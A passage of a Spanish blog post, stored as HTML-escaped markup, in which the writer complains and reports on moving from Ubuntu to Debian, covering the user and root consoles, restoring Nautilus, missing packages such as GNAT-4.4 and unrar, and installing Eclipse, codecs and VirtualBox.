&lt;b&gt;usuario&lt;/b&gt; y la &lt;b&gt;consola&lt;/b&gt;&amp;nbsp; es bastante &lt;b&gt;parecida&lt;/b&gt;... espera, &lt;b&gt;hay dos consolas&lt;/b&gt;. Una para &lt;b&gt;super usuario&lt;/b&gt; y otra para &lt;b&gt;usuario&lt;/b&gt;. Esto es una &lt;strike&gt;MIERDA&lt;/strike&gt; aunque desde la del &lt;b&gt;usuario&lt;/b&gt; se puede acceder a la de &lt;b&gt;super usuario&lt;/b&gt; escribiendo &lt;b&gt;su&lt;/b&gt; y la contraseña del &lt;b&gt;root&lt;/b&gt;. Esto lo aprende uno tras intentar &lt;b&gt;ejecutar&lt;/b&gt; el típico &lt;b&gt;comando&lt;/b&gt; como &lt;b&gt;super usuario&lt;/b&gt; y ver que en tu terminal pone: "&lt;i&gt;Has hecho algo que no debes, serás reportado al administrador&lt;/i&gt;". En estos casos piensas pero que dices &lt;strike&gt;GILIPOLLAS &lt;/strike&gt;si soy yo el &lt;b&gt;administrador&lt;/b&gt;, no estoy en la universidad!.&lt;br /&gt;&lt;br /&gt;En cualquier caso nos adaptamos a la consola, los&lt;b&gt; comandos son iguales&lt;/b&gt;, los &lt;b&gt;menús cambian un poco&lt;/b&gt;, fíjate son &lt;b&gt;más intuitivos&lt;/b&gt; en cuanto a su distribución. Todo perfecto, además también tiene el &lt;b&gt;instalador de aplicaciones&lt;/b&gt; valorado con &lt;b&gt;estrellas&lt;/b&gt;, como en las antiguas versiones de Ubuntu. Esto si que me encantó, el &lt;b&gt;Centro de Software&lt;/b&gt; es la &lt;b&gt;peor&lt;/b&gt; basura que ha traído Ubuntu aunque seguramente mejorará en &lt;b&gt;Lucid Lynx&lt;/b&gt; o eso prometen.&lt;br /&gt;&lt;br /&gt;Volviendo al escritorio me doy cuenta de que &lt;b&gt;se ve todo mejor&lt;/b&gt;, las &lt;b&gt;fuentes&lt;/b&gt; escogidas son más &lt;b&gt;agradables&lt;/b&gt; que las de Ubuntu y es todo más &lt;b&gt;acogedor&lt;/b&gt;. En cualquier caso comienzo a navegar y oh dios mio si cliqueo en las ventanas se abren nuevos &lt;b&gt;popups&lt;/b&gt; creando una ristra enorme. ¿Dónde &lt;strike&gt;COJONES&lt;/strike&gt; está el &lt;b&gt;Nautilus&lt;/b&gt; de toda la vida?. Entoces como cualquier &lt;b&gt;usuario normal &lt;/b&gt;busco &lt;b&gt;información&lt;/b&gt; en cualquier buscador y, parece que &lt;b&gt;hay poca&lt;/b&gt;, tengo que rebuscar bien pero acabo encontrando un blog que comenta que hay que &lt;b&gt;cambiar&lt;/b&gt; una &lt;b&gt;configuración&lt;/b&gt; de &lt;b&gt;Gnome&lt;/b&gt; sobre la interfaz de Nautlus. Resulta &lt;b&gt;sencillo&lt;/b&gt;, de verdad. Perfecto, ya tengo &lt;b&gt;nautilus&lt;/b&gt;, casi estoy en mi casa. Muy bien, voy a bajarme los &lt;b&gt;compiladores&lt;/b&gt;, hmmmm, no están &lt;b&gt;actualizados&lt;/b&gt;, necesito &lt;b&gt;GNAT-4.4&lt;/b&gt; y no esta en los repositorios!!!&lt;br /&gt;&lt;br /&gt;Esto me cabrea bastante así que seguí indagando y dije, tengo aquí unas &lt;b&gt;fotos&lt;/b&gt; en &lt;b&gt;RAR&lt;/b&gt;, vamos a verlas y resulta que no puedo. Ok voy a los &lt;b&gt;repositorios&lt;/b&gt;, voy a descargar el &lt;b&gt;urar&lt;/b&gt; de toda la vida y oh dios mio, esto es &lt;b&gt;código abierto&lt;/b&gt; y no está. Busco un repositorio de código abierto y lo bajo. Lo instalo y empiezo a mosquearme con el tema. Mientras tanto, acabo de instalar &lt;b&gt;eclipse&lt;/b&gt; me pongo a bajar &lt;b&gt;netbeans&lt;/b&gt; y me doy cuenta de que no está, &lt;b&gt;no es libre&lt;/b&gt;, estoy jodido. Así es, con &lt;b&gt;Debian&lt;/b&gt; te das cuenta de que es &lt;b&gt;libre&lt;/b&gt; y que es &lt;b&gt;abierto&lt;/b&gt; y que desde luego es &lt;b&gt;privativo&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Con el tema de los &lt;b&gt;codecs&lt;/b&gt; y &lt;b&gt;flash&lt;/b&gt; no tuve problema, se instalaron &lt;b&gt;rápido&lt;/b&gt; y &lt;b&gt;virtualbox-ose&lt;/b&gt; tenía una &lt;b&gt;interfaz ridícula&lt;/b&gt;, deberíais verla.&lt;br /&gt;&lt;br /&gt;En cualquier caso ya acabé con mi paseo en &lt;b&gt;Debian&lt;/b&gt;. Apag
